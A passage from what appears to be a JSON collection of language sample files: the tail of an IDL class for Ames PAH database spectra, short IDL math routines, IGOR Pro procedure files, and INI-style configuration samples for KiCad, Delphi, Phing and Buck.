AmesPAHdb_Coadded_Spectrum\n;\n;  :Keywords:\n;    Weights: in, optional, type=struct\n;      Use the provided weights when co-adding\n;    Average: in, optional, type=int\n;      Take the average\n;\n; :Categories:\n;   CALCULATE\n;-\nFUNCTION AmesPAHdbIDLSuite_Spectrum::Coadd,Weights=weights,Average=Average\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  select1 = WHERE((*self.data).uid EQ (*self.uids)[0], nselect1)\n\n  data = REPLICATE({AmesPAHdbIDLSuite_Coadd_S, intensity:0D}, nselect1)\n\n  data.intensity = (*self.data)[select1].intensity\n\n  IF KEYWORD_SET(Weights) THEN BEGIN\n\n     select2 = WHERE(Weights.uid EQ (*self.uids)[0], nselect2)\n\n     IF nselect2 EQ 0 THEN BEGIN\n        PRINT\n        PRINT,\"=========================================================\"\n        PRINT,\"          NO WEIGHT DEFINED FOR UID: \"+STRING(FORMAT='(I-0)',(*self.uids)[0])\n        PRINT,\"=========================================================\"\n        PRINT\n        self.state = 0\n        RETURN,0\n     ENDIF\n\n     data.intensity *= Weights[select2].weight\n  ENDIF\n\n  FOR i = 1, self.nuids - 1 DO BEGIN\n\n     select1 = WHERE((*self.data).uid EQ (*self.uids)[i])\n\n     IF KEYWORD_SET(Weights) THEN BEGIN\n\n        select2 = WHERE(Weights.uid EQ (*self.uids)[i], nselect2)\n\n        IF nselect2 EQ 0 THEN BEGIN\n           PRINT\n           PRINT,\"=========================================================\"\n           PRINT,\"          NO WEIGHT DEFINED FOR UID: \"+STRING(FORMAT='(I-0)',(*self.uids)[i])\n           PRINT,\"=========================================================\"\n           PRINT\n           self.state = 0\n           RETURN,0\n        ENDIF\n\n       data.intensity += Weights[select2].weight * (*self.data)[select1].intensity\n    ENDIF ELSE data.intensity += (*self.data)[select1].intensity\n  ENDFOR\n\n  IF KEYWORD_SET(Average) THEN data.intensity /= self.nuids\n\n  RETURN,OBJ_NEW('AmesPAHdbIDLSuite_Coadded_Spectrum', $\n                 Type=self.type, $\n                 Version=self.version, $\n                 Data=data, $\n                 PAHdb=self.database, $\n                 Uids=*self.uids, $\n                 Model=*self.model, $\n                 Units=self.units, $\n                 Shift=self.shift, $\n                 Grid=*self.grid, $\n                 Profile=self.profile, $\n                 FWHM=*self.fwhm, $\n                 Weights=Weights, $\n                 Averaged=KEYWORD_SET(Average))\nEND\n\n;+\n; Retrieves the AmesPAHdbIDLSuite_Spectrum representation in a\n; structure.\n;\n; :Returns:\n;   Structure\n;\n; :Categories:\n;   SET/GET\n;-\nFUNCTION AmesPAHdbIDLSuite_Spectrum::Get\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  IF NOT PTR_VALID(self.data) THEN RETURN, 0\n\n  struct = self->AmesPAHdbIDLSuite_Data::Get()\n\n  struct.type = OBJ_CLASS(self)+'_S'\n\n  RETURN,CREATE_STRUCT(struct, 'shift', self.shift, 'grid', *self.grid, 'profile', self.profile, 'fwhm', *self.fwhm)\nEND\n\n;+\n; Populates the AmesPAHdbIDLSuite_Spectrum-instance.\n;\n; :Params:\n;   Struct: in, optional, type=struct\n;     Data structure\n;\n; :Keywords:\n;   Type: in, optional, type=string\n;     Type of Data\n;   Version: in, optional, type=string\n;    Versioning information\n;   Data: in, optional, type=struct\n;     Data structure\n;   PAHdb: in, optional, type=pointer\n;     Pointer to parsed database file\n;   Uids: in, optional, type=\"long array (1D)\"\n;     UIDs in Data\n;   Model: in, optional, type=string\n;     References\n;   Units: in, optional, type=\"AmesPAHdb_Units_S struct\"\n;     Units\n;   Shift: in, optional, type=float\n;     Shift\n;   Grid: in, optional, type=\"float array\"\n;     Grid\n;   Profile: in, optional, type=string\n;     Profile\n;   FWHM: in, optional, type=float\n;     FWHM\n;\n; :Categories:\n;   SET/GET\n;-\nPRO AmesPAHdbIDLSuite_Spectrum::Set,Struct,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units,Shift=Shift,Grid=Grid,Profile=Profile,FWHM=FWHM\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  IF N_PARAMS() GT 0 THEN BEGIN\n\n     tag = WHERE(TAG_NAMES(Struct) EQ 'TYPE', ntype)\n\n     IF ntype EQ 1 THEN BEGIN\n\n        IF Struct.(tag) EQ OBJ_CLASS(self)+'_S' THEN BEGIN\n\n           IF NOT KEYWORD_SET(Shift) THEN self.shift = Struct.shift\n\n           IF NOT KEYWORD_SET(Grid) THEN BEGIN\n\n              IF PTR_VALID(self.grid) THEN PTR_FREE,self.grid\n\n              self.grid = PTR_NEW(Struct.grid)\n           ENDIF\n\n           IF NOT KEYWORD_SET(Profile) THEN self.profile = Struct.profile\n\n           IF NOT KEYWORD_SET(FWHM) THEN BEGIN\n\n              IF PTR_VALID(self.fwhm) THEN PTR_FREE,self.fwhm\n\n              self.fwhm = PTR_NEW(Struct.fwhm)\n           ENDIF\n\n           s = Struct\n\n           s.type = 'AMESPAHDBIDLSUITE_Data_S'\n\n           self->AmesPAHdbIDLSuite_Data::Set,Struct,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units\n        ENDIF\n     ENDIF\n  ENDIF ELSE self->AmesPAHdbIDLSuite_Data::Set,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units\n\n  IF KEYWORD_SET(Shift) THEN self.shift = Shift\n\n  IF KEYWORD_SET(Grid) THEN BEGIN\n\n     IF PTR_VALID(self.grid) THEN PTR_FREE,self.grid\n\n     self.grid = PTR_NEW(Grid)\n  ENDIF\n\n  IF KEYWORD_SET(Profile) THEN self.profile = Profile\n\n  IF KEYWORD_SET(FWHM) THEN BEGIN\n\n     IF PTR_VALID(self.fwhm) THEN PTR_FREE,self.fwhm\n\n     self.fwhm = PTR_NEW(FWHM)\n  ENDIF\nEND\n\n;+\n; Retrieves the abscissa valuesa.\n;\n; :Returns:\n;   double array (1D)\n;\n; :Categories:\n;   SET/GET\n;-\nFUNCTION AmesPAHdbIDLSuite_Spectrum::GetGrid\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  IF PTR_VALID(self.grid) THEN RETURN, *self.grid\n\n  RETURN,0\nEND\n\n;+\n; Clean-up an AmesPAHdbIDLSuite_Spectrum-instance\n;\n; :Categories:\n;   CLASS\n;\n; :Private:\n;-\nPRO AmesPAHdbIDLSuite_Spectrum::Cleanup\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  self->AmesPAHdbIDLSuite_Plot::Cleanup\n\n  self->AmesPAHdbIDLSuite_Data::Cleanup\n\n  IF PTR_VALID(self.grid) THEN PTR_FREE,self.grid\n\n  IF PTR_VALID(self.fwhm) THEN PTR_FREE,self.fwhm\nEND\n\n;+\n; Create an AmesPAHdbIDLSuite_Spectrum-instance\n;\n; :Returns:\n;   AmesPAHdbIDLSuite_Spectrum-instance\n;\n; :Params:\n;   Struct: in, optional, type=struct\n;     Data structure\n;\n; :Keywords:\n;   Type: in, optional, type=string\n;     Type of Data\n;   Version: in, optional, type=string\n;    Versioning information\n;   Data: in, optional, type=struct\n;     Data structure\n;   PAHdb: in, optional, type=pointer\n;     Pointer to parsed database file\n;   Uids: in, optional, type=\"long array (1D)\"\n;     UIDs in Data\n;   Model: in, optional, type=string\n;     References\n;   Units: in, optional, type=\"AmesPAHdb_Units_S struct\"\n;     Units\n;   Shift: in, optional, type=float\n;     Shift\n;   Grid: in, optional, type=\"float array\"\n;     Grid\n;   Profile: in, optional, type=string\n;     Profile\n;   FWHM: in, optional, type=float\n;     FWHM\n;\n; :Categories:\n;   CLASS\n;-\nFUNCTION AmesPAHdbIDLSuite_Spectrum::Init,Struct,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units,Shift=Shift,Grid=Grid,Profile=Profile,FWHM=FWHM\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  self.state = self->AmesPAHdbIDLSuite_Plot::Init()\n\n  IF self.state EQ 1 THEN BEGIN\n\n     IF N_PARAMS() GT 0 THEN self->Set,Struct,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units,Shift=Shift,Grid=Grid,Profile=Profile,FWHM=FWHM $\n     ELSE self->Set,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units,Shift=Shift,Grid=Grid,Profile=Profile,FWHM=FWHM\n  ENDIF\n\n  RETURN,self.state\nEND\n\n;+\n; Defines the AmesPAHdbIDLSuite_Spectrum Class\n;\n; :Fields:\n;   shift: type=double\n;     Applied band shift\n;   grid: type=pointer\n;     Pointer to abscissa values\n;   profile: type=string\n;     Applied band profile\n;   fwhm: type=pointer\n;     Pointer to the FWHM of the applied band profile\n;\n; :Categories:\n;   CLASS\n;\n; :Private:\n;-\nPRO AmesPAHdbIDLSuite_Spectrum__DEFINE\n\n  COMPILE_OPT IDL2\n\n  ON_ERROR,2\n\n  void = {AmesPAHdbIDLSuite_Spectrum, $\n          INHERITS AmesPAHdbIDLSuite_Plot, $\n          INHERITS AmesPAHdbIDLSuite_Data, $\n          shift:0D, $\n          grid:PTR_NEW(), $\n          profile:'', $\n          fwhm:PTR_NEW()}\nEND\n\n; END OF amespahdbidlsuite_spectrum__define.pro\n"
  },
  {
    "path": "samples/IDL/mg_acosh.pro",
    "content": "; docformat = 'rst'\n\n;+\n; Inverse hyperbolic cosine. Uses the formula:\n; \n; $$\\text{acosh}(z) = \\ln(z + \\sqrt{z + 1} \\sqrt{z - 1})$$\n;\n; :Examples:\n;    The arc hyperbolic sine function looks like::\n;\n;       IDL> x = 2.5 * findgen(1000) / 999. + 1.\n;       IDL> plot, x, mg_acosh(x), xstyle=1\n;\n;    This should look like:\n;\n;    .. image:: acosh.png\n;\n; :Returns:\n;    float, double, complex, or double complex depending on the input\n;\n; :Params:\n;    z : in, required, type=numeric\n;       input\n;-\nfunction mg_acosh, z\n  compile_opt strictarr\n  \n  return, alog(z + sqrt(z + 1) * sqrt(z - 1))\nend"
  },
  {
    "path": "samples/IDL/mg_analysis.dlm",
    "content": "MODULE mg_analysis\nDESCRIPTION Tools for analysis\nVERSION 1.0\nSOURCE mgalloy\nBUILD_DATE January 18, 2011\n\nFUNCTION MG_ARRAY_EQUAL      2 2 KEYWORDS\nFUNCTION MG_TOTAL            1 1\n\n"
  },
  {
    "path": "samples/IDL/mg_gcd.pro",
    "content": "; docformat = 'rst'\n\n;+\n; Find the greatest common denominator (GCD) for two positive integers.\n; \n; :Returns:\n;    integer\n;\n; :Params:\n;    a : in, required, type=integer\n;       first integer\n;    b : in, required, type=integer\n;       second integer\n;-\nfunction mg_gcd, a, b\n  compile_opt strictarr\n  on_error, 2\n  \n  if (n_params() ne 2) then message, 'incorrect number of arguments'\n  if (~mg_isinteger(a) || ~mg_isinteger(b)) then begin\n    message, 'integer arguments required'\n  endif\n  \n  _a = abs(a)\n  _b = abs(b)\n  minArg = _a < _b\n  maxArg = _a > _b\n  \n  if (minArg eq 0) then return, maxArg\n  \n  remainder = maxArg mod minArg\n  if (remainder eq 0) then return, minArg\n  \n  return, mg_gcd(minArg, remainder)\nend\n"
  },
  {
    "path": "samples/IDL/mg_trunc.pro",
    "content": "; docformat = 'rst'\n\n;+\n; Truncate argument towards 0.0, i.e., takes the `FLOOR` of positive values\n; and the `CEIL` of negative values.\n;\n; :Examples:\n;   Try the main-level program at the end of this file. It does::\n;\n;      IDL> print, mg_trunc([1.2, -1.2, 0.0])\n;                 1          -1           0\n;      IDL> print, floor([1.2, -1.2, 0.0])\n;                 1          -2           0\n;      IDL> print, ceil([1.2, -1.2, 0.0])\n;                 2          -1           0\n;\n; :Returns:\n;    array of same type as argument\n;\n; :Params:\n;    x : in, required, type=float/double\n;       array containing values to truncate\n;-\nfunction mg_trunc, x\n  compile_opt strictarr\n  \n  result = ceil(x)\n  posInd = where(x gt 0, nposInd)\n  \n  if (nposInd gt 0L) then begin\n    result[posInd] = floor(x[posInd])\n  endif\n  \n  return, result\nend\n\n\n; main-level example program\n\nprint, mg_trunc([1.2, -1.2, 0.0])\n\nend\n"
  },
  {
    "path": "samples/IGOR Pro/CodeBrowser.ipf",
    "content": "#pragma rtGlobals=3\n#pragma version=1.3\n#pragma IgorVersion = 6.3.0\n#pragma IndependentModule=CodeBrowserModule\n\n#include \"CodeBrowser_gui\"\n#include <Resize Controls>\n\n// Copyright (c) 2019, () byte physics support@byte-physics.de\n// All rights reserved.\n//\n// This source code is licensed under the BSD 3-Clause license found in the\n// LICENSE file in the root directory of this source tree.\n//\n// source: https://github.com/byte-physics/igor-code-browser/blob/6a1497795f606d9d837d4012cbb4bbc481af3683/procedures/CodeBrowser.ipf\n\nMenu \"CodeBrowser\"\n\t// CTRL+0 is the keyboard shortcut\n\t\"Open/0\", /Q, CodeBrowserModule#CreatePanel()\n\t\"Reset\", /Q, CodeBrowserModule#ResetPanel()\nEnd\n\n// Markers for the different listbox elements\nStrConstant strConstantMarker = \"\\\\W539\"\nStrConstant constantMarker    = \"\\\\W534\"\n\nFunction addDecoratedStructure(text, declWave, lineWave, [parseVariables])\n\tWAVE/T text\n\tWAVE/T declWave\n\tWAVE/D lineWave\n\tVariable parseVariables\n\tif(paramIsDefault(parseVariables) | parseVariables != 1)\n\t\tparseVariables = 1 // added for debugging\n\tendif\n\n\tvariable numLines, idx, numEntries, numMatches\n\tstring procText, reStart, name, StaticKeyword\n\n\tWave/T helpWave = getHelpWave()\n\n\t// regexp: match case insensitive (?i) leading spaces don't matter. optional static statement. search for structure name which contains no spaces. followed by an optional space and nearly anything like inline comments\n\t// help for regex on https://regex101.com/\n\treStart = \"^(?i)[[:space:]]*((?:static[[:space:]])?)[[:space:]]*structure[[:space:]]+([^[:space:]\\/]+)[[:space:]\\/]?.*\"\n\tGrep/Q/INDX/E=reStart text\n\tWave W_Index\n\tDuplicate/FREE W_Index wavStructureStart\n\tKillWaves/Z W_Index\n\tKillStrings/Z S_fileName\n\tWaveClear W_Index\n\tif(!V_Value) // no matches\n\t\treturn 0\n\tendif\n\tnumMatches = DimSize(wavStructureStart, 0)\n\n\t// optionally analyze structure elements\n\tif(parseVariables)\n\t\t// regexp: match case insensitive endstructure followed by (space or /) and anything else or just a lineend\n\t\t// does not match endstructure23 but endstructure//\n\t\tGrep/Q/INDX/E=\"^(?i)[[:space:]]*(?:endstructure(?:[[:space:]]|\\/).*)|endstructure$\" text\n\t\tWave W_Index\n\t\tDuplicate/FREE W_Index wavStructureEnd\n\t\tKillWaves/Z W_Index\n\t\tKillStrings/Z S_fileName\n\t\tWaveClear W_Index\n\t\tif(numMatches != DimSize(wavStructureEnd, 0))\n\t\t\tnumMatches = 0\n\t\t\treturn 0\n\t\tendif\n\tendif\n\n\tnumEntries = DimSize(declWave, 0)\n\tRedimension/N=(numEntries + numMatches, -1) declWave, lineWave, helpWave\n\n\tfor(idx = numEntries; idx < (numEntries + numMatches); idx +=1)\n\t\tSplitString/E=reStart text[wavStructureStart[(idx - numEntries)]], StaticKeyword, name\n\t\tdeclWave[idx][0] = createMarkerForType(LowerStr(StaticKeyword) + \"structure\") // no \" \" between static and structure needed\n\t\tdeclWave[idx][1] = name\n\n\t\t// optionally parse structure elements\n\t\tif(parseVariables)\n\t\t\tDuplicate/FREE/R=[(wavStructureStart[(idx - numEntries)]),(wavStructureEnd[(idx - numEntries)])] text, temp\n\t\t\tdeclWave[idx][1] += getStructureElements(temp)\n\t\t\tWaveClear temp\n\t\tendif\n\n\t\tlineWave[idx] = wavStructureStart[(idx - numEntries)]\n\tendfor\n\n\tWaveClear wavStructureStart, wavStructureEnd\nEnd\n\n/// @brief Return the text of the given procedure as free wave splitted at the EOL\nstatic Function/WAVE getProcedureTextAsWave(module, procedureWithoutModule)\n\tstring module, procedureWithoutModule\n\n\tstring procText\n\tvariable numLines\n\n\t// get procedure code\n\tprocText = getProcedureText(\"\", 0, module, procedureWithoutModule)\n\n#if (IgorVersion() >= 7.0)\n\treturn ListToTextWave(procText, \"\\r\")\n#else\n\tnumLines = ItemsInList(procText, \"\\r\")\n\n\tif(numLines == 0)\n\t\tMake/FREE/N=(numLines)/T wv\n\t\treturn wv\n\tendif\n\n\tMake/FREE/N=(numLines)/T wv = StringFromList(p, procText, \"\\r\")\n\treturn wv\n#endif\nEnd\n\n// add basic html\nFunction/S AddHTML(context)\n\tstring context\n\n\tstring line, html, re\n\tstring str0, str1, str2, str3, str4\n\tvariable n, lines\n\n\thtml = \"\"\n\tlines = ItemsInList(context, \"\\r\")\n\tfor(n = 0; n < lines; n += 1)\n\t\tline = StringFromList(n, context, \"\\r\")\n\t\tre = \"\\s*([\\/]{2,})\\s?(.*)\"\n\t\tSplitString/E=(re) line, str0, str1\n\t\tif(V_flag != 2)\n\t\t\tbreak\n\t\tendif\n\t\tline = str1\n\t\tif(strlen(str0) == 3) // Doxygen comments\n\t\t\tre = \"(?i)(.*@param(?:\\[(?:in|out)\\])?\\s+)(\\w+)(\\s.*)\"\n\t\t\tSplitString/E=(re) line, str0, str1, str2\n\t\t\tif(V_flag == 3)\n\t\t\t\tline  = str0\n\t\t\t\tline += \"<b>\" + str1 + \"</b> \"\n\t\t\t\tline += str2\n\t\t\tendif\n\t\t\tre = \"(?i)(.*)@(\\w+)(\\s.*)\"\n\t\t\tSplitString/E=(re) line, str0, str1, str2\n\t\t\tif(V_flag == 3)\n\t\t\t\tline  = str0\n\t\t\t\tline += \"<b>@</b><i>\" + str1 + \"</i>\"\n\t\t\t\tline += str2\n\t\t\tendif\n\t\tendif\n\t\thtml += line + \"<br>\"\n\tendfor\n\thtml = RemoveEnding(html, \"<br>\")\n\thtml = \"<code>\" + html + \"</code>\"\n\n\treturn html\nEnd\n\n// get code of procedure in module\n//\n// see `DisplayHelpTopic(\"ProcedureText\")`\n//\n// @param funcName       Name of Function. Leave blank to get full procedure text\n// @param linesOfContext line numbers in addition to the function definition. Set to @c 0 to return only the function.\n//                       set to @c -1 to return lines before the procedure that are not part of the preceding macro or function\n// @param module         independent module\n// @param procedure      procedure without module definition\n// @return multi-line string with function definition\nFunction/S getProcedureText(funcName, linesOfContext, module, procedure)\n\tstring funcName, module, procedure\n\tvariable linesOfContext\n\n\tif(!isProcGlobal(module))\n\t\tdebugPrint(procedure + \" is not in ProcGlobal\")\n\t\tprocedure = procedure + \" [\" + module + \"]\"\n\tendif\n\n\treturn ProcedureText(funcName, linesOfContext, procedure)\nEnd\n\n// Returns a list of independent modules\n// Includes ProcGlobal but skips all WM modules and the current module in release mode\nFunction/S getModuleList()\n\tString moduleList\n\n\tmoduleList = IndependentModuleList(\";\")\n\tmoduleList = ListMatch(moduleList, \"!WM*\", \";\") // skip WM modules\n\tmoduleList = ListMatch(moduleList, \"!RCP*\", \";\") // skip WM's Resize Controls modul\n\tString module = GetIndependentModuleName()\n\n\tmoduleList = \"ProcGlobal;\" + SortList(moduleList)\n\n\treturn moduleList\nEnd\n\n// get help wave: after parsing the function comment is stored here\n//\n// Return refrence to (text) Wave/T\nFunction/Wave getHelpWave()\n\tDFREF dfr = createDFWithAllParents(pkgFolder)\n\tWAVE/Z/T/SDFR=dfr wv = $helpWave\n\n\tif(!WaveExists(wv))\n\t\tMake/T/N=(128, 2) dfr:$helpWave/Wave=wv\n\tendif\n\n\treturn wv\nEnd\n\nstatic Structure procedure\n\tString id\n\tVariable row\n\tString name\n\tString module\n\tString fullName\nEndstructure\n\n/// @brief compile all procedures\nFunction compile()\n\tExecute/P/Z/Q \"COMPILEPROCEDURES \"\nEnd\n"
  },
  {
    "path": "samples/IGOR Pro/functions.ipf",
    "content": "#pragma rtGlobals=3\n\nFunction FooBar()\n\treturn 0\nEnd\n\nFunction FooBarSubType() : ButtonControl\n\treturn 0\nEnd\n\nFunction/D FooBarVar()\n\treturn 0\nEnd\n\nstatic Function FooBarStatic()\n\treturn 0\nEnd\n\nthreadsafe static Function FooBarStaticThreadsafe()\n\treturn 0\nEnd\n\nthreadsafe Function FooBarThread()\n\treturn 0\nEnd\n\nFunction CallOperationsAndBuiltInFuncs(string var)\n\n\tstring someDQString = \"abcd\"\n\n\tMake/N=(1,2,3,4) root:myWave/WAVE=myWave\n\tRedimension/N=(-1,-1,-1,5) myWave\n\n\tprint strlen(someDQString)\n\n\treturn 0\nEnd\n\n"
  },
  {
    "path": "samples/IGOR Pro/generic.ipf",
    "content": "#pragma rtGlobals=3\n\nStrConstant myConstString=\"abcd\"\n// some comment\nconstant myConst=123\n\nStructure struct1\n\tstring str\n\tvariable var\nEndStructure\n\nstatic Structure struct2\n\tstring str\n\tvariable var\nEndStructure\n\n#include \"someFile\"\n\n#ifdef NOT_DEFINED\n\t// conditional compilation\n#endif\n"
  },
  {
    "path": "samples/INI/MouseKeyboard.pro",
    "content": "update=Sun 15 Feb 2015 01:10:10 PM EST\nlast_client=eeschema\n[pcbnew]\nversion=1\nPageLayoutDescrFile=\nLastNetListRead=\nUseCmpFile=1\nPadDrill=0.6\nPadDrillOvalY=0.6\nPadSizeH=1.5\nPadSizeV=1.5\nPcbTextSizeV=1.5\nPcbTextSizeH=1.5\nPcbTextThickness=0.3\nModuleTextSizeV=1\nModuleTextSizeH=1\nModuleTextSizeThickness=0.15\nSolderMaskClearance=0\nSolderMaskMinWidth=0\nDrawSegmentWidth=0.2\nBoardOutlineThickness=0.09999999999999999\nModuleOutlineThickness=0.15\n[pcbnew/libraries]\nLibDir=\n[general]\nversion=1\n[eeschema]\nversion=1\nPageLayoutDescrFile=\nSubpartIdSeparator=0\nSubpartFirstId=65\nLibDir=/home/hschmale/KiCad/LibMods-3rdParty\nNetFmtName=\nRptD_X=0\nRptD_Y=100\nRptLab=1\nLabSize=60\n[eeschema/libraries]\nLibName1=power\nLibName2=device\nLibName3=transistors\nLibName4=conn\nLibName5=linear\nLibName6=regul\nLibName7=74xx\nLibName8=cmos4000\nLibName9=adc-dac\nLibName10=memory\nLibName11=xilinx\nLibName12=special\nLibName13=microcontrollers\nLibName14=dsp\nLibName15=microchip\nLibName16=analog_switches\nLibName17=motorola\nLibName18=texas\nLibName19=intel\nLibName20=audio\nLibName21=interface\nLibName22=digital-audio\nLibName23=philips\nLibName24=display\nLibName25=cypress\nLibName26=siliconi\nLibName27=opto\nLibName28=atmel\nLibName29=contrib\nLibName30=valves\nLibName31=arduino_shieldsNCL\nLibName32=con-usb-2\nLibName33=2axispotwselect\n"
  },
  {
    "path": "samples/INI/TOVR.dof",
    "content": "[FileVersion]\nVersion=7.0\n[Compiler]\nA=8\nB=0\nC=1\nD=1\nE=0\nF=0\nG=1\nH=1\nI=1\nJ=0\nK=0\nL=1\nM=0\nN=1\nO=1\nP=1\nQ=0\nR=0\nS=0\nT=0\nU=0\nV=1\nW=0\nX=1\nY=1\nZ=1\nShowHints=1\nShowWarnings=1\nUnitAliases=WinTypes=Windows;WinProcs=Windows;DbiTypes=BDE;DbiProcs=BDE;DbiErrs=BDE;\nNamespacePrefix=\nSymbolDeprecated=1\nSymbolLibrary=1\nSymbolPlatform=1\nUnitLibrary=1\nUnitPlatform=1\nUnitDeprecated=1\nHResultCompat=1\nHidingMember=1\nHiddenVirtual=1\nGarbage=1\nBoundsError=1\nZeroNilCompat=1\nStringConstTruncated=1\nForLoopVarVarPar=1\nTypedConstVarPar=1\nAsgToTypedConst=1\nCaseLabelRange=1\nForVariable=1\nConstructingAbstract=1\nComparisonFalse=1\nComparisonTrue=1\nComparingSignedUnsigned=1\nCombiningSignedUnsigned=1\nUnsupportedConstruct=1\nFileOpen=1\nFileOpenUnitSrc=1\nBadGlobalSymbol=1\nDuplicateConstructorDestructor=1\nInvalidDirective=1\nPackageNoLink=1\nPackageThreadVar=1\nImplicitImport=1\nHPPEMITIgnored=1\nNoRetVal=1\nUseBeforeDef=1\nForLoopVarUndef=1\nUnitNameMismatch=1\nNoCFGFileFound=1\nMessageDirective=1\nImplicitVariants=1\nUnicodeToLocale=1\nLocaleToUnicode=1\nImagebaseMultiple=1\nSuspiciousTypecast=1\nPrivatePropAccessor=1\nUnsafeType=0\nUnsafeCode=0\nUnsafeCast=0\n[Linker]\nMapFile=0\nOutputObjs=0\nConsoleApp=1\nDebugInfo=0\nRemoteSymbols=0\nMinStackSize=16384\nMaxStackSize=1048576\nImageBase=4194304\nExeDescription=\n[Directories]\nOutputDir=\nUnitOutputDir=\nPackageDLLOutputDir=\nPackageDCPOutputDir=\nSearchPath=\nPackages=\nConditionals=\nDebugSourceDirs=\nUsePackages=0\n[Parameters]\nRunParams=\nHostApplication=\nLauncher=\nUseLauncher=0\nDebugCWD=\n[Language]\nActiveLang=\nProjectLang=\nRootDir=\n[Version Info]\nIncludeVerInfo=0\nAutoIncBuild=0\nMajorVer=1\nMinorVer=0\nRelease=0\nBuild=0\nDebug=0\nPreRelease=0\nSpecial=0\nPrivate=0\nDLL=0\nLocale=1049\nCodePage=1251\n[Version Info Keys]\nCompanyName=\nFileDescription=\nFileVersion=1.0.0.0\nInternalName=\nLegalCopyright=\nLegalTrademarks=\nOriginalFilename=\nProductName=\nProductVersion=1.0.0.0\nComments=\n"
  },
  {
    "path": "samples/INI/defaults.properties",
    "content": "; -------------------------------------\n; These taskdefs are loaded at startup.\n; -------------------------------------\n\n; Internal system tasks\n; \nadhoc=phing.tasks.system.AdhocTask\nadhoc-task=phing.tasks.system.AdhocTaskdefTask\nadhoc-type=phing.tasks.system.AdhocTypedefTask\nappend=phing.tasks.system.AppendTask\navailable=phing.tasks.system.AvailableTask\nchmod=phing.tasks.system.ChmodTask\nchown=phing.tasks.system.ChownTask\nconcat=phing.tasks.system.AppendTask\ncondition=phing.tasks.system.ConditionTask\ncopy=phing.tasks.system.CopyTask\ncvs=phing.tasks.system.CvsTask\ncvspass=phing.tasks.system.CvsPassTask\ndelete=phing.tasks.system.DeleteTask\necho=phing.tasks.system.EchoTask\nexec=phing.tasks.system.ExecTask\nfail=phing.tasks.system.ExitTask\nforeach=phing.tasks.system.ForeachTask\nincludepath=phing.tasks.system.IncludePathTask\ninput=phing.tasks.system.InputTask\nmkdir=phing.tasks.system.MkdirTask\nmove=phing.tasks.system.MoveTask\nphing=phing.tasks.system.PhingTask\nphingcall=phing.tasks.system.PhingCallTask\nphp=phing.tasks.system.PhpEvalTask\nproperty=phing.tasks.system.PropertyTask\npropertyprompt=phing.tasks.system.PropertyPromptTask\nreflexive=phing.tasks.system.ReflexiveTask\nresolvepath=phing.tasks.system.ResolvePathTask\ntaskdef=phing.tasks.system.TaskdefTask\ntouch=phing.tasks.system.TouchTask\ntstamp=phing.tasks.system.TstampTask\ntypedef=phing.tasks.system.TypedefTask\nuptodate=phing.tasks.system.UpToDateTask\nxslt=phing.tasks.system.XsltTask\nif=phing.tasks.system.IfTask\nwarn=phing.tasks.system.WarnTask\n\n; \"Core\" contributed tasks\n; -- i.e. no taskdef needed.\n\ncreole=phing.tasks.ext.creole.CreoleSQLExecTask\npdo=phing.tasks.ext.pdo.PDOSQLExecTask\npackage-as-path=phing.tasks.ext.PackageAsPathTask\nsmarty=phing.tasks.ext.SmartyTask\ncapsule=phing.tasks.ext.CapsuleTask\ntar=phing.tasks.ext.TarTask\nuntar=phing.tasks.ext.UntarTask\npearpkg=phing.tasks.ext.PearPackageTask\npearpkg2=phing.tasks.ext.PearPackage2Task\nmail=phing.tasks.ext.MailTask\nzip=phing.tasks.ext.ZipTask\nunzip=phing.tasks.ext.UnzipTask\nscpsend=phing.tasks.ext.ScpSendTask\n\n; \"ext\" tasks\nphpdoc=phing.tasks.ext.phpdoc.PhpDocumentorTask\nphpdocext=phing.tasks.ext.phpdoc.PhpDocumentorExternalTask\nsvnlastrevision=phing.tasks.ext.svn.SvnLastRevisionTask\nsvncheckout=phing.tasks.ext.svn.SvnCheckoutTask\nsvnexport=phing.tasks.ext.svn.SvnExportTask\nsvnupdate=phing.tasks.ext.svn.SvnUpdateTask\nphpunit3=phing.tasks.ext.phpunit.PHPUnitTask\nphpunit3report=phing.tasks.ext.phpunit.PHPUnitReportTask\nphpunit2=phing.tasks.ext.phpunit.PHPUnitTask\nphpunit2report=phing.tasks.ext.phpunit.PHPUnitReportTask\nphpunit=phing.tasks.ext.phpunit.PHPUnitTask\nphpunitreport=phing.tasks.ext.phpunit.PHPUnitReportTask\ncoverage-setup=phing.tasks.ext.coverage.CoverageSetupTask\ncoverage-merger=phing.tasks.ext.coverage.CoverageMergerTask\ncoverage-report=phing.tasks.ext.coverage.CoverageReportTask\nioncubeencoder=phing.tasks.ext.ioncube.IoncubeEncoderTask\nioncubelicense=phing.tasks.ext.ioncube.IoncubeLicenseTask\nsimpletest=phing.tasks.ext.simpletest.SimpleTestTask\nphplint=phing.tasks.ext.PhpLintTask\nxmllint=phing.tasks.ext.XmlLintTask\nanalyze=phing.tasks.ext.ZendCodeAnalyzerTask\njsllint=phing.tasks.ext.JslLintTask\nmanifest=phing.tasks.ext.ManifestTask\nphpcodesniffer=phing.tasks.ext.PhpCodeSnifferTask\nftpdeploy=phing.tasks.ext.FtpDeployTask"
  },
  {
    "path": "samples/INI/filenames/.buckconfig",
    "content": "\n[android]\n  target = Google Inc.:Google APIs:23\n\n[maven_repositories]\n  central = https://repo1.maven.org/maven2\n"
  },
  {
    "path": "samples/INI/filenames/.coveragerc",
